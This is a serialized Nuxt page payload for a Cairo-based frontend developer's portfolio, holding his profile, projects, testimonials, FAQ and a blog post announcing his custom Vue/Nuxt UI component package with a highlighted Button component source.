[{"data":1,"prerenderedAt":6950},["ShallowReactive",2],{"navigation":3,"index":22,"index-blogs":266},[4],{"title":5,"path":6,"stem":7,"children":8,"page":21},"Blog","/blog","blog",[9,13,17],{"title":10,"path":11,"stem":12},"🔥 Built from Real-World Needs – My Custom UI Package is Here!","/blog/building-scalable-vue-component-libraries","blog/building-scalable-vue-component-libraries",{"title":14,"path":15,"stem":16},"🔥 Cookie Authentication: How It Works & What Are the Risks?","/blog/cookie-authentication-security","blog/cookie-authentication-security",{"title":18,"path":19,"stem":20},"From Nuxt 2 to Vue 3: My Journey of Migration and Growth","/blog/mastering-nuxt-3-performance-optimization","blog/mastering-nuxt-3-performance-optimization",false,{"id":23,"title":24,"about":25,"blog":28,"body":31,"description":35,"experience":199,"extension":203,"faq":204,"hero":219,"meta":234,"navigation":251,"path":252,"seo":253,"stem":254,"testimonials":255,"__hash__":265},"index/index.yml","Hey, I'm Mohamed Eslam - Frontend Developer",{"title":26,"description":27},"About Me","I am a Frontend Developer based in Cairo, Egypt, with a B.S. in Computers and Artificial Intelligence from Cairo University. I specialize in building high-performance, scalable web applications and reusable npm packages using Nuxt.js, Vue, React, and TypeScript. My expertise includes responsive design, UI component libraries, and optimizing user experience. I thrive in collaborative teams, adapt quickly to new challenges, and am passionate about open-source contributions.\nKey Skills: Nuxt 3, Vue, React, NPM Package Development, Angular, HTML, SCSS, CSS, Tailwind, HeadlessUI, NuxtUI, Bootstrap, Responsive Design, RESTful APIs, tree-shaking, JavaScript, TypeScript, Docker, GitHub, CI/CD, Teamwork, Problem Solving.\n",{"title":29,"description":30},"Latest Articles","Insights on frontend development, Nuxt.js, Vue, and open-source contributions.",{"seo":32,"title":24,"description":35,"hero":36,"about":78,"experience":79,"projects":90,"education":109,"languages":117,"open_source":124,"testimonials":140,"blog":165,"faq":166},{"title":33,"description":34},"Mohamed Eslam - Frontend Developer","Portfolio of Mohamed Eslam, a Frontend Developer based in Cairo, Egypt. Specialized in Nuxt.js, Vue, React, and building high-performance, scalable web applications and npm packages.","I build dynamic, responsive web applications and reusable UI libraries with Nuxt.js, Vue, and React. Passionate about performance, scalability, and delivering seamless user experiences.",{"links":37,"images":53},[38,42,46,49],{"label":39,"to":40,"color":41},"View My Portfolio","https://github.com/eslamdevui","neutral",{"label":43,"to":44,"color":45},"LinkedIn","https://www.linkedin.com/in/mohamedeslam0419/","primary",{"label":47,"to":40,"color":48},"GitHub","black",{"label":50,"to":51,"color":52},"NPM Profile","https://www.npmjs.com/~eslamdevui","amber",[54,57,60,63,66,69,72,75],{"src":55,"alt":56},"https://picsum.photos/468/468?random=1","Mohamed Eslam Profile 1",{"src":58,"alt":59},"https://picsum.photos/468/468?random=2","Mohamed Eslam Profile 2",{"src":61,"alt":62},"https://picsum.photos/468/468?random=3","Mohamed Eslam Profile 3",{"src":64,"alt":65},"https://picsum.photos/468/468?random=4","Mohamed Eslam Profile 4",{"src":67,"alt":68},"https://picsum.photos/468/468?random=5","Mohamed Eslam Profile 5",{"src":70,"alt":71},"https://picsum.photos/468/468?random=6","Mohamed Eslam Profile 6",{"src":73,"alt":74},"https://picsum.photos/468/468?random=7","Mohamed Eslam Profile 7",{"src":76,"alt":77},"https://picsum.photos/468/468?random=8","Mohamed Eslam Profile 8",{"title":26,"description":27},{"title":80,"items":81},"Work Experience",[82],{"position":83,"date":84,"company":85,"description":89},"Frontend Developer","07/2024 - Present",{"name":86,"logo":87,"url":88},"ATW","ic:twotone-house","https://atw.ltd/","• Built dynamic, mobile-first UIs using Nuxt.js, Vue 3, and Tailwind CSS.\u003Cbr>\n• Enhanced application speed and ensured seamless cross-browser compatibility.\u003Cbr>\n• Collaborated closely with designers and backend teams to deliver user-friendly features.\n",{"title":91,"items":92},"Projects",[93,99,104],{"name":94,"date":95,"url":96,"description":97,"technologies":98},"EAPD - Egyptian Agency of Partnership for Development","07/2025 - Present","","Developed a comprehensive web platform for Egypt's development agency, featuring dynamic content, statistics, news, and project categorization. Implemented responsive design, smooth animations, and modern UI components using a custom component library.\n","Nuxt 3, Vue, TypeScript, @eslamdevui/ui, Tailwind CSS, Pinia, i18n, Nuxt Proxy, vue3-google-map, Chart.js, Docker",{"name":100,"date":101,"url":96,"description":102,"technologies":103},"Expert System","01/2025 - Present","Built multi-portal expert system for e-commerce, analytics, and POS. Developed Seller Portal (POS) and Analytics Portal using Vue.js. Applied modular design patterns (HMVC, SOA) and integrated E-commerce APIs, Messaging, and HR modules.\n","Vue 3, Laravel 11, Tailwind CSS, TypeScript, JavaScript, Livewire, Docker",{"name":105,"date":106,"url":96,"description":107,"technologies":108},"Shomo'a Dubai","12/2024 - 07/2025","Developed a modern e-commerce platform for lighting products with advanced filtering, blog integration, and a responsive, visually appealing design.\n","Nuxt 3, Vue 3, Pinia, Tailwind CSS, TypeScript, Axios, i18n, Sitemap, Prettier, PostCSS, Docker",{"title":110,"items":111},"Education",[112],{"degree":113,"date":114,"institution":115,"location":116},"B.S. Computers and Artificial Intelligence","09/2019 - 09/2023","Cairo University","Cairo, Egypt",[118,121],{"name":119,"level":120},"Arabic","Native",{"name":122,"level":123},"English","Beginner",{"title":125,"items":126},"Open-Source Contributions",[127,132,136],{"name":128,"type":129,"description":130,"url":131},"@eslamdevui/ui","NPM Package","A fully accessible, performant UI component library for Vue 3 & Nuxt 3 based on Tailwind CSS & Tailwind Variants. Inspired by Nuxt UI v3.","https://www.npmjs.com/package/@eslamdevui/ui",{"name":133,"type":129,"description":134,"url":135},"@eslamdevui/vue","A set of fully accessible, unstyled UI components for Vue 3 and Tailwind CSS.","https://www.npmjs.com/package/@eslamdevui/vue",{"name":137,"type":129,"description":138,"url":139},"vue-directives-kit","A Vue.js directives utility package to enhance development efficiency.","https://www.npmjs.com/package/vue-directives-kit",[141,149,157],{"quote":142,"author":143},"Mohamed's expertise in Nuxt.js and Vue helped us deliver a high-performance, scalable platform. His attention to detail and collaborative approach made a significant impact on our project.",{"name":144,"description":145,"avatar":146},"Ahmed Samir","Tech Lead at ATW",{"src":147,"srcset":148},"https://images.unsplash.com/photo-1487412720507-e7ab37603c6f?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=facearea&facepad=2&w=40&h=40&q=80","https://images.unsplash.com/photo-1487412720507-e7ab37603c6f?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=facearea&facepad=2&w=80&h=80&q=80 2x",{"quote":150,"author":151},"His npm packages have improved our development workflow and code modularity. Mohamed is a valuable contributor to the open-source community.",{"name":152,"description":153,"avatar":154},"Sara Khaled","Frontend Engineer",{"src":155,"srcset":156},"https://images.unsplash.com/photo-1472099645785-5658abf4ff4e?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=facearea&facepad=2&w=40&h=40&q=80","https://images.unsplash.com/photo-1472099645785-5658abf4ff4e?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=facearea&facepad=2&w=80&h=80&q=80 2x",{"quote":158,"author":159},"Mohamed's ability to solve complex problems and deliver robust solutions is outstanding. He is always eager to learn and share knowledge.",{"name":160,"description":161,"avatar":162},"Omar Fathy","Full Stack Developer",{"src":163,"srcset":164},"https://images.unsplash.com/photo-1573497019940-1c28c88b4f3e?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=facearea&facepad=2&w=40&h=40&q=80","https://images.unsplash.com/photo-1573497019940-1c28c88b4f3e?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=facearea&facepad=2&w=80&h=80&q=80 2x",{"title":29,"description":30},{"title":167,"description":168,"categories":169},"Frequently Asked Questions","Answers to common questions about my skills, services, and experience.",[170,182,191],{"title":171,"questions":172},"Skills & Services",[173,176,179],{"label":174,"content":175},"What technologies do you specialize in?","I specialize in Nuxt.js, Vue, React, TypeScript, Tailwind CSS, and building reusable npm packages. I also have experience with Angular, RESTful APIs, Docker, and CI/CD.\n",{"label":177,"content":178},"What services do you offer?","I offer frontend development for web applications, UI component library development, performance optimization, and open-source consulting. I can help teams build scalable, maintainable, and high-quality codebases.\n",{"label":180,"content":181},"Do you contribute to open-source?","Yes! I actively maintain and publish npm packages, including @eslamdevui/ui, @eslamdevui/vue, and vue-directives-kit.\n",{"title":183,"questions":184},"Projects & Collaboration",[185,188],{"label":186,"content":187},"Can you work with remote teams?","Absolutely. I have experience collaborating with distributed teams using GitHub, CI/CD, and modern project management tools.\n",{"label":189,"content":190},"How do you approach new projects?","I start by understanding project requirements, then design scalable architecture and reusable components. I focus on performance, accessibility, and maintainability from the start.\n",{"title":26,"questions":192},[193,196],{"label":194,"content":195},"What motivates you as a developer?","I enjoy solving complex problems, learning new technologies, and contributing to the open-source community. Building tools that help other developers is especially rewarding.\n",{"label":197,"content":198},"What are your interests outside of coding?","Outside of development, I enjoy reading, exploring new technologies, and participating in tech meetups in Cairo.\n",{"title":80,"items":200},[201],{"position":83,"date":84,"company":202,"description":89},{"name":86,"logo":87,"url":88},"yml",{"title":167,"description":168,"categories":205},[206,211,215],{"title":171,"questions":207},[208,209,210],{"label":174,"content":175},{"label":177,"content":178},{"label":180,"content":181},{"title":183,"questions":212},[213,214],{"label":186,"content":187},{"label":189,"content":190},{"title":26,"questions":216},[217,218],{"label":194,"content":195},{"label":197,"content":198},{"links":220,"images":225},[221,222,223,224],{"label":39,"to":40,"color":41},{"label":43,"to":44,"color":45},{"label":47,"to":40,"color":48},{"label":50,"to":51,"color":52},[226,227,228,229,230,231,232,233],{"src":55,"alt":56},{"src":58,"alt":59},{"src":61,"alt":62},{"src":64,"alt":65},{"src":67,"alt":68},{"src":70,"alt":71},{"src":73,"alt":74},{"src":76,"alt":77},{"projects":235,"education":240,"languages":243,"open_source":246},{"title":91,"items":236},[237,238,239],{"name":94,"date":95,"url":96,"description":97,"technologies":98},{"name":100,"date":101,"url":96,"description":102,"technologies":103},{"name":105,"date":106,"url":96,"description":107,"technologies":108},{"title":110,"items":241},[242],{"degree":113,"date":114,"institution":115,"location":116},[244,245],{"name":119,"level":120},{"name":122,"level":123},{"title":125,"items":247},[248,249,250],{"name":128,"type":129,"description":130,"url":131},{"name":133,"type":129,"description":134,"url":135},{"name":137,"type":129,"description":138,"url":139},true,"/",{"title":33,"description":34},"index",[256,259,262],{"quote":142,"author":257},{"name":144,"description":145,"avatar":258},{"src":147,"srcset":148},{"quote":150,"author":260},{"name":152,"description":153,"avatar":261},{"src":155,"srcset":156},{"quote":158,"author":263},{"name":160,"description":161,"avatar":264},{"src":163,"srcset":164},"wFaoAGQ_LDkxUsS7FIa6hVDLy0KNSMYEnqAxzr_L4FI",[267,3852,4770],{"id":268,"title":10,"author":269,"body":273,"date":3837,"description":3838,"extension":3839,"image":3840,"meta":3841,"minRead":841,"navigation":251,"path":11,"seo":3850,"stem":12,"__hash__":3851},"blog/blog/building-scalable-vue-component-libraries.md",{"name":270,"avatar":271},"Mohamed Eslam",{"src":272,"alt":270},"/profile-img.jpg",{"type":274,"value":275,"toc":3796},"minimark",[276,280,283,288,292,297,300,304,307,318,322,325,329,332,336,339,371,375,379,404,408,412,415,419,422,426,429,443,447,473,477,515,519,560,564,567,580,584,588,602,606,638,642,645,671,675,679,3593,3597,3622,3626,3630,3640,3648,3652,3678,3682,3696,3700,3733,3737,3740,3744,3756,3760,3779,3782,3787,3792],[277,278,279],"p",{},"From real-world needs in my daily work, I decided to develop my own custom UI library! After spending a long time working on Nuxt 3 + Tailwind CSS projects, I often found myself needing components or composables that weren't available in existing libraries.",[277,281,282],{},"This led me to start building my own custom version based on Nuxt UI, and I've added everything I needed under the name:",[284,285,287],"h2",{"id":286},"eslamdevuiui-my-custom-nuxt-ui-package","🎉 @eslamdevui/ui – My Custom Nuxt UI Package!",[284,289,291],{"id":290},"what-ive-added","📦 What I've Added",[293,294,296],"h3",{"id":295},"complete-nuxt-ui-pro-integration","Complete Nuxt UI Pro Integration",[277,298,299],{},"I've successfully integrated all Nuxt UI Pro components into the package, giving you access to premium components without the subscription cost.",[293,301,303],{"id":302},"custom-utilities-composables","Custom Utilities & Composables",[277,305,306],{},"Added custom utilities and composables based on real project needs I encountered while working on projects like:",[308,309,310],"ul",{},[311,312,313,317],"li",{},[314,315,316],"strong",{},"EAPD Platform"," - Government portal with complex data visualization",[293,319,321],{"id":320},"continuous-updates","Continuous Updates",[277,323,324],{},"I regularly merge new releases from Nuxt UI to my branch, ensuring you're always up-to-date with the latest features and improvements.",[293,326,328],{"id":327},"quality-assurance-process","Quality Assurance Process",[277,330,331],{},"Every version starts as a beta release. Once thoroughly tested and stable, it becomes a main release. This ensures reliability for production use.",[284,333,335],{"id":334},"the-goal","💡 The Goal",[277,337,338],{},"To offer a UI kit that is:",[308,340,341,347,353,359,365],{},[311,342,343,346],{},[314,344,345],{},"✔️ Flexible"," - Adapts to your design requirements",[311,348,349,352],{},[314,350,351],{},"✔️ Themeable"," - Not tied to any fixed design system, but supports ready-made themes you can customize",[311,354,355,358],{},[314,356,357],{},"✔️ Modern"," - Works seamlessly with the latest Tailwind CSS",[311,360,361,364],{},[314,362,363],{},"✔️ Universal"," - Suitable for any Vue 3 or Nuxt 3 project",[311,366,367,370],{},[314,368,369],{},"✔️ Production-Ready"," - Built and tested on real-world applications",[284,372,374],{"id":373},"installation-usage","🚀 Installation & Usage",[293,376,378],{"id":377},"easy-installation","Easy Installation",[380,381,385],"pre",{"className":382,"code":383,"language":384,"meta":96,"style":96},"language-bash shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","npm install @eslamdevui/ui\n","bash",[386,387,388],"code",{"__ignoreMap":96},[389,390,393,397,401],"span",{"class":391,"line":392},"line",1,[389,394,396],{"class":395},"sBMFI","npm",[389,398,400],{"class":399},"sfazB"," install",[389,402,403],{"class":399}," @eslamdevui/ui\n",[284,405,407],{"id":406},"development-process","🔧 Development Process",[293,409,411],{"id":410},"_1-real-world-problem-identification","1. Real-World Problem Identification",[277,413,414],{},"Every component starts with a real need from my daily development work. I don't build components just for the sake of it – they solve actual problems.",[293,416,418],{"id":417},"_2-nuxt-ui-foundation","2. Nuxt UI Foundation",[277,420,421],{},"Built on top of Nuxt UI, ensuring compatibility and leveraging the excellent work already done by the Nuxt team.",[293,423,425],{"id":424},"_3-custom-extensions","3. Custom Extensions",[277,427,428],{},"Added custom utilities that weren't available in the original library:",[308,430,431,434,437,440],{},[311,432,433],{},"Advanced form validation composables",[311,435,436],{},"Custom animation utilities",[311,438,439],{},"Enhanced accessibility features",[311,441,442],{},"Performance optimization helpers",[293,444,446],{"id":445},"_4-testing-quality","4. Testing & Quality",[308,448,449,455,461,467],{},[311,450,451,454],{},[314,452,453],{},"Unit Testing",": Every component has comprehensive tests",[311,456,457,460],{},[314,458,459],{},"Integration Testing",": Components work together seamlessly",[311,462,463,466],{},[314,464,465],{},"Accessibility Testing",": WCAG compliance from day one",[311,468,469,472],{},[314,470,471],{},"Performance Testing",": Bundle size and runtime performance",[284,474,476],{"id":475},"package-statistics","📊 Package Statistics",[308,478,479,485,491,497,503,509],{},[311,480,481,484],{},[314,482,483],{},"Components",": 50+ UI components",[311,486,487,490],{},[314,488,489],{},"Composables",": 20+ utility composables",[311,492,493,496],{},[314,494,495],{},"Bundle Size",": Optimized for tree-shaking",[311,498,499,502],{},[314,500,501],{},"TypeScript",": Full type support",[311,504,505,508],{},[314,506,507],{},"Accessibility",": WCAG 2.1 AA compliant",[311,510,511,514],{},[314,512,513],{},"Browser Support",": Modern browsers + IE11 (with polyfills)",[284,516,518],{"id":517},"resources-links","🔗 Resources & Links",[308,520,521,532,542,550],{},[311,522,523,526,527],{},[314,524,525],{},"📦 NPM Package",": ",[528,529,128],"a",{"href":131,"rel":530},[531],"nofollow",[311,533,534,526,537],{},[314,535,536],{},"🔧 GitHub Repository",[528,538,541],{"href":539,"rel":540},"https://github.com/MohamedEslam04/eslamdevui-ui",[531],"GitHub Repo",[311,543,544,526,547],{},[314,545,546],{},"📚 Documentation",[389,548,549],{},"Coming Soon",[311,551,552,526,555],{},[314,553,554],{},"🐛 Issues & Feedback",[528,556,559],{"href":557,"rel":558},"https://github.com/MohamedEslam04/eslamdevui-ui/issues",[531],"GitHub Issues",[284,561,563],{"id":562},"real-world-impact","🎯 Real-World Impact",[277,565,566],{},"The library has already been used in several production projects:",[308,568,569,574],{},[311,570,571,573],{},[314,572,316],{},": 40% reduction in development time for new UI components",[311,575,576,579],{},[314,577,578],{},"Personal Projects",": Faster development and consistent quality",[284,581,583],{"id":582},"whats-coming-next","🚀 What's Coming Next",[293,585,587],{"id":586},"immediate-improvements","Immediate Improvements",[308,589,590,593,596,599],{},[311,591,592],{},"Enhanced documentation with interactive examples",[311,594,595],{},"More theme variations",[311,597,598],{},"Additional utility composables",[311,600,601],{},"Performance optimizations",[293,603,605],{"id":604},"long-term-vision","Long-term Vision",[308,607,608,614,620,626,632],{},[311,609,610,613],{},[314,611,612],{},"Advanced Theming System",": CSS custom properties for dynamic themes",[311,615,616,619],{},[314,617,618],{},"Component Playground",": Interactive component testing environment",[311,621,622,625],{},[314,623,624],{},"Design Token System",": Consistent spacing, colors, and typography",[311,627,628,631],{},[314,629,630],{},"Internationalization",": RTL support and multi-language components",[311,633,634,637],{},[314,635,636],{},"Performance Monitoring",": Real-world performance metrics",[284,639,641],{"id":640},"community-collaboration","💪 Community & Collaboration",[277,643,644],{},"This isn't just my project – it's a community effort! I'm actively seeking:",[308,646,647,653,659,665],{},[311,648,649,652],{},[314,650,651],{},"Feedback",": What components do you need?",[311,654,655,658],{},[314,656,657],{},"Contributions",": Code, documentation, or ideas",[311,660,661,664],{},[314,662,663],{},"Testing",": Help test on different projects and environments",[311,666,667,670],{},[314,668,669],{},"Feature Requests",": Tell me what's missing",[284,672,674],{"id":673},"technical-architecture","🔍 Technical Architecture",[293,676,678],{"id":677},"component-structure","Component Structure",[380,680,684],{"className":681,"code":682,"language":683,"meta":96,"style":96},"language-vue shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","\u003Cscript lang=\"ts\">\nimport type { AppConfig } from '@nuxt/schema'\nimport theme from '#build/ui/button'\nimport type { UseComponentIconsProps } from '../composables/useComponentIcons'\nimport type { LinkProps, AvatarProps } from '../types'\nimport type { ComponentConfig } from '../types/utils'\n\ntype Button = ComponentConfig\u003Ctypeof theme, AppConfig, 'button'>\n\nexport interface ButtonProps extends UseComponentIconsProps, Omit\u003CLinkProps, 'raw' | 'custom'> {\n  label?: string\n  /**\n   * @defaultValue 'primary'\n   */\n  color?: Button['variants']['color']\n  activeColor?: Button['variants']['color']\n  /**\n   * @defaultValue 'solid'\n   */\n  variant?: Button['variants']['variant']\n  activeVariant?: Button['variants']['variant']\n  /**\n   * @defaultValue 'md'\n   */\n  size?: Button['variants']['size']\n  /** Render the button with equal padding on all sides. */\n  square?: boolean\n  /** Render the button full width. */\n  block?: boolean\n  /** Set loading state automatically based on the `@click` promise state */\n  loadingAuto?: boolean\n  onClick?: ((event: MouseEvent) => void | Promise\u003Cvoid>) | Array\u003C((event: MouseEvent) => void | Promise\u003Cvoid>)>\n  class?: any\n  ui?: Button['slots']\n}\n\nexport interface ButtonSlots {\n  leading(props?: {}): any\n  default(props?: {}): any\n  trailing(props?: {}): any\n}\n\u003C/script>\n\n\u003Cscript setup lang=\"ts\">\nimport { computed, ref, inject } from 'vue'\nimport type { Ref } from 'vue'\nimport { defu } from 'defu'\nimport { useForwardProps } from 'reka-ui'\nimport { useAppConfig } from '#imports'\nimport { useComponentIcons } from '../composables/useComponentIcons'\nimport { useButtonGroup } from '../composables/useButtonGroup'\nimport { formLoadingInjectionKey } from '../composables/useFormField'\nimport { omit, mergeClasses } from '../utils'\nimport { tv } from '../utils/tv'\nimport { pickLinkProps } from '../utils/link'\nimport UIcon from './Icon.vue'\nimport UAvatar from './Avatar.vue'\nimport ULink from './Link.vue'\nimport ULinkBase from './LinkBase.vue'\n\nconst props = defineProps\u003CButtonProps>()\nconst slots = defineSlots\u003CButtonSlots>()\n\nconst appConfig = useAppConfig() as Button['AppConfig']\nconst { orientation, size: buttonSize } = useButtonGroup\u003CButtonProps>(props)\n\nconst linkProps = useForwardProps(pickLinkProps(props))\n\nconst loadingAutoState = ref(false)\nconst formLoading = inject\u003CRef\u003Cboolean> | undefined>(formLoadingInjectionKey, undefined)\n\nasync function onClickWrapper(event: MouseEvent) {\n  loadingAutoState.value = true\n  const callbacks = Array.isArray(props.onClick) ? props.onClick : [props.onClick]\n  try {\n    await Promise.all(callbacks.map(fn => fn?.(event)))\n  } finally {\n    loadingAutoState.value = false\n  }\n}\n\nconst isLoading = computed(() => {\n  return props.loading || (props.loadingAuto && (loadingAutoState.value || (formLoading?.value && props.type === 'submit')))\n})\n\nconst { isLeading, isTrailing, leadingIconName, trailingIconName } = useComponentIcons(\n  computed(() => ({ ...props, loading: isLoading.value }))\n)\n\nconst ui = computed(() => tv({\n  extend: tv(theme),\n  ...defu({\n    variants: {\n      active: {\n        true: {\n          base: mergeClasses(appConfig.ui?.button?.variants?.active?.true?.base, props.activeClass)\n        },\n        false: {\n          base: mergeClasses(appConfig.ui?.button?.variants?.active?.false?.base, props.inactiveClass)\n        }\n      }\n    }\n  }, appConfig.ui?.button || {})\n})({\n  color: props.color,\n  variant: props.variant,\n  size: buttonSize.value,\n  loading: isLoading.value,\n  block: props.block,\n  square: props.square || (!slots.default && !props.label),\n  leading: isLeading.value,\n  trailing: isTrailing.value,\n  buttonGroup: orientation.value\n}))\n\u003C/script>\n\n\u003Ctemplate>\n  \u003CULink\n    v-slot=\"{ active, ...slotProps }\"\n    :type=\"type\"\n    :disabled=\"disabled || isLoading\"\n    v-bind=\"omit(linkProps, ['type', 'disabled', 'onClick'])\"\n    custom\n  >\n    \u003CULinkBase\n      v-bind=\"slotProps\"\n      :class=\"ui.base({\n        class: [props.ui?.base, props.class],\n        active,\n        ...(active && activeVariant ? { variant: activeVariant } : {}),\n        ...(active && activeColor ? { color: activeColor } : {})\n      })\"\n      @click=\"onClickWrapper\"\n    >\n      \u003Cslot name=\"leading\">\n        \u003CUIcon v-if=\"isLeading && leadingIconName\" :name=\"leadingIconName\" :class=\"ui.leadingIcon({ class: props.ui?.leadingIcon, active })\" />\n        \u003CUAvatar v-else-if=\"!!avatar\" :size=\"((props.ui?.leadingAvatarSize || ui.leadingAvatarSize()) as AvatarProps['size'])\" v-bind=\"avatar\" :class=\"ui.leadingAvatar({ class: props.ui?.leadingAvatar, active })\" />\n      \u003C/slot>\n\n      \u003Cslot>\n        \u003Cspan v-if=\"label !== undefined && label !== null\" :class=\"ui.label({ class: props.ui?.label, active })\">\n          {{ label }}\n        \u003C/span>\n      \u003C/slot>\n\n      \u003Cslot name=\"trailing\">\n        \u003CUIcon v-if=\"isTrailing && trailingIconName\" :name=\"trailingIconName\" :class=\"ui.trailingIcon({ class: props.ui?.trailingIcon, active })\" />\n      \u003C/slot>\n    \u003C/ULinkBase>\n  \u003C/ULink>\n\u003C/template>\n","vue",[386,685,686,714,746,764,787,816,839,845,881,886,938,950,957,973,979,1012,1040,1045,1057,1062,1091,1119,1124,1136,1141,1170,1176,1187,1193,1203,1209,1219,1305,1316,1337,1343,1348,1360,1378,1394,1410,1415,1425,1430,1452,1482,1504,1525,1546,1567,1587,1608,1629,1655,1676,1697,1714,1731,1748,1765,1770,1795,1817,1822,1853,1889,1894,1914,1919,1940,1980,1985,2009,2026,2079,2087,2130,2141,2156,2162,2167,2172,2193,2261,2268,2273,2307,2349,2354,2359,2384,2400,2412,2422,2432,2442,2492,2498,2508,2552,2558,2564,2570,2596,2606,2621,2636,2652,2668,2684,2727,2742,2757,2772,2779,2788,2793,2803,2812,2838,2854,2876,2925,2931,2937,2946,2960,2982,3012,3020,3046,3069,3077,3095,3101,3124,3207,3331,3341,3346,3355,3421,3433,3443,3452,3457,3477,3553,3562,3573,3584],{"__ignoreMap":96},[389,687,688,692,696,700,703,706,709,711],{"class":391,"line":392},[389,689,691],{"class":690},"sMK4o","\u003C",[389,693,695],{"class":694},"swJcz","script",[389,697,699],{"class":698},"spNyl"," lang",[389,701,702],{"class":690},"=",[389,704,705],{"class":690},"\"",[389,707,708],{"class":399},"ts",[389,710,705],{"class":690},[389,712,713],{"class":690},">\n",[389,715,717,721,724,727,731,734,737,740,743],{"class":391,"line":716},2,[389,718,720],{"class":719},"s7zQu","import",[389,722,723],{"class":719}," type",[389,725,726],{"class":690}," {",[389,728,730],{"class":729},"sTEyZ"," AppConfig",[389,732,733],{"class":690}," }",[389,735,736],{"class":719}," from",[389,738,739],{"class":690}," '",[389,741,742],{"class":399},"@nuxt/schema",[389,744,745],{"class":690},"'\n",[389,747,749,751,754,757,759,762],{"class":391,"line":748},3,[389,750,720],{"class":719},[389,752,753],{"class":729}," theme ",[389,755,756],{"class":719},"from",[389,758,739],{"class":690},[389,760,761],{"class":399},"#build/ui/button",[389,763,745],{"class":690},[389,765,767,769,771,773,776,778,780,782,785],{"class":391,"line":766},4,[389,768,720],{"class":719},[389,770,723],{"class":719},[389,772,726],{"class":690},[389,774,775],{"class":729}," UseComponentIconsProps",[389,777,733],{"class":690},[389,779,736],{"class":719},[389,781,739],{"class":690},[389,783,784],{"class":399},"../composables/useComponentIcons",[389,786,745],{"class":690},[389,788,790,792,794,796,799,802,805,807,809,811,814],{"class":391,"line":789},5,[389,791,720],{"class":719},[389,793,723],{"class":719},[389,795,726],{"class":690},[389,797,798],{"class":729}," LinkProps",[389,800,801],{"class":690},",",[389,803,804],{"class":729}," AvatarProps",[389,806,733],{"class":690},[389,808,736],{"class":719},[389,810,739],{"class":690},[389,812,813],{"class":399},"../types",[389,815,745],{"class":690},[389,817,819,821,823,825,828,830,832,834,837],{"class":391,"line":818},6,[389,820,720],{"class":719},[389,822,723],{"class":719},[389,824,726],{"class":690},[389,826,827],{"class":729}," ComponentConfig",[389,829,733],{"class":690},[389,831,736],{"class":719},[389,833,739],{"class":690},[389,835,836],{"class":399},"../types/utils",[389,838,745],{"class":690},[389,840,842],{"class":391,"line":841},7,[389,843,844],{"emptyLinePlaceholder":251},"\n",[389,846,848,851,854,857,859,862,865,867,869,871,873,876,879],{"class":391,"line":847},8,[389,849,850],{"class":698},"type",[389,852,853],{"class":395}," Button",[389,855,856],{"class":690}," =",[389,858,827],{"class":395},[389,860,861],{"class":690},"\u003Ctypeof",[389,863,864],{"class":729}," theme",[389,866,801],{"class":690},[389,868,730],{"class":395},[389,870,801],{"class":690},[389,872,739],{"class":690},[389,874,875],{"class":399},"button",[389,877,878],{"class":690},"'",[389,880,713],{"class":690},[389,882,884],{"class":391,"line":883},9,[389,885,844],{"emptyLinePlaceholder":251},[389,887,889,892,895,898,901,903,905,908,910,913,915,917,920,922,925,927,930,932,935],{"class":391,"line":888},10,[389,890,891],{"class":719},"export",[389,893,894],{"class":698}," interface",[389,896,897],{"class":395}," ButtonProps",[389,899,900],{"class":698}," extends",[389,902,775],{"class":395},[389,904,801],{"class":690},[389,906,907],{"class":395}," Omit",[389,909,691],{"class":690},[389,911,912],{"class":395},"LinkProps",[389,914,801],{"class":690},[389,916,739],{"class":690},[389,918,919],{"class":399},"raw",[389,921,878],{"class":690},[389,923,924],{"class":690}," |",[389,926,739],{"class":690},[389,928,929],{"class":399},"custom",[389,931,878],{"class":690},[389,933,934],{"class":690},">",[389,936,937],{"class":690}," {\n",[389,939,941,944,947],{"class":391,"line":940},11,[389,942,943],{"class":694},"  label",[389,945,946],{"class":690},"?:",[389,948,949],{"class":395}," string\n",[389,951,953],{"class":391,"line":952},12,[389,954,956],{"class":955},"sHwdD","  /**\n",[389,958,960,963,966,970],{"class":391,"line":959},13,[389,961,962],{"class":955},"   * ",[389,964,965],{"class":719},"@",[389,967,969],{"class":968},"s6hCs","defaultValue",[389,971,972],{"class":955}," 'primary'\n",[389,974,976],{"class":391,"line":975},14,[389,977,978],{"class":955},"   */\n",[389,980,982,985,987,989,992,994,997,999,1002,1004,1007,1009],{"class":391,"line":981},15,[389,983,984],{"class":694},"  color",[389,986,946],{"class":690},[389,988,853],{"class":395},[389,990,991],{"class":729},"[",[389,993,878],{"class":690},[389,995,996],{"class":399},"variants",[389,998,878],{"class":690},[389,1000,1001],{"class":729},"][",[389,1003,878],{"class":690},[389,1005,1006],{"class":399},"color",[389,1008,878],{"class":690},[389,1010,1011],{"class":729},"]\n",[389,1013,1015,1018,1020,1022,1024,1026,1028,1030,1032,1034,1036,1038],{"class":391,"line":1014},16,[389,1016,1017],{"class":694},"  activeColor",[389,1019,946],{"class":690},[389,1021,853],{"class":395},[389,1023,991],{"class":729},[389,1025,878],{"class":690},[389,1027,996],{"class":399},[389,1029,878],{"class":690},[389,1031,1001],{"class":729},[389,1033,878],{"class":690},[389,1035,1006],{"class":399},[389,1037,878],{"class":690},[389,1039,1011],{"class":729},[389,1041,1043],{"class":391,"line":1042},17,[389,1044,956],{"class":955},[389,1046,1048,1050,1052,1054],{"class":391,"line":1047},18,[389,1049,962],{"class":955},[389,1051,965],{"class":719},[389,1053,969],{"class":968},[389,1055,1056],{"class":955}," 'solid'\n",[389,1058,1060],{"class":391,"line":1059},19,[389,1061,978],{"class":955},[389,1063,1065,1068,1070,1072,1074,1076,1078,1080,1082,1084,1087,1089],{"class":391,"line":1064},20,[389,1066,1067],{"class":694},"  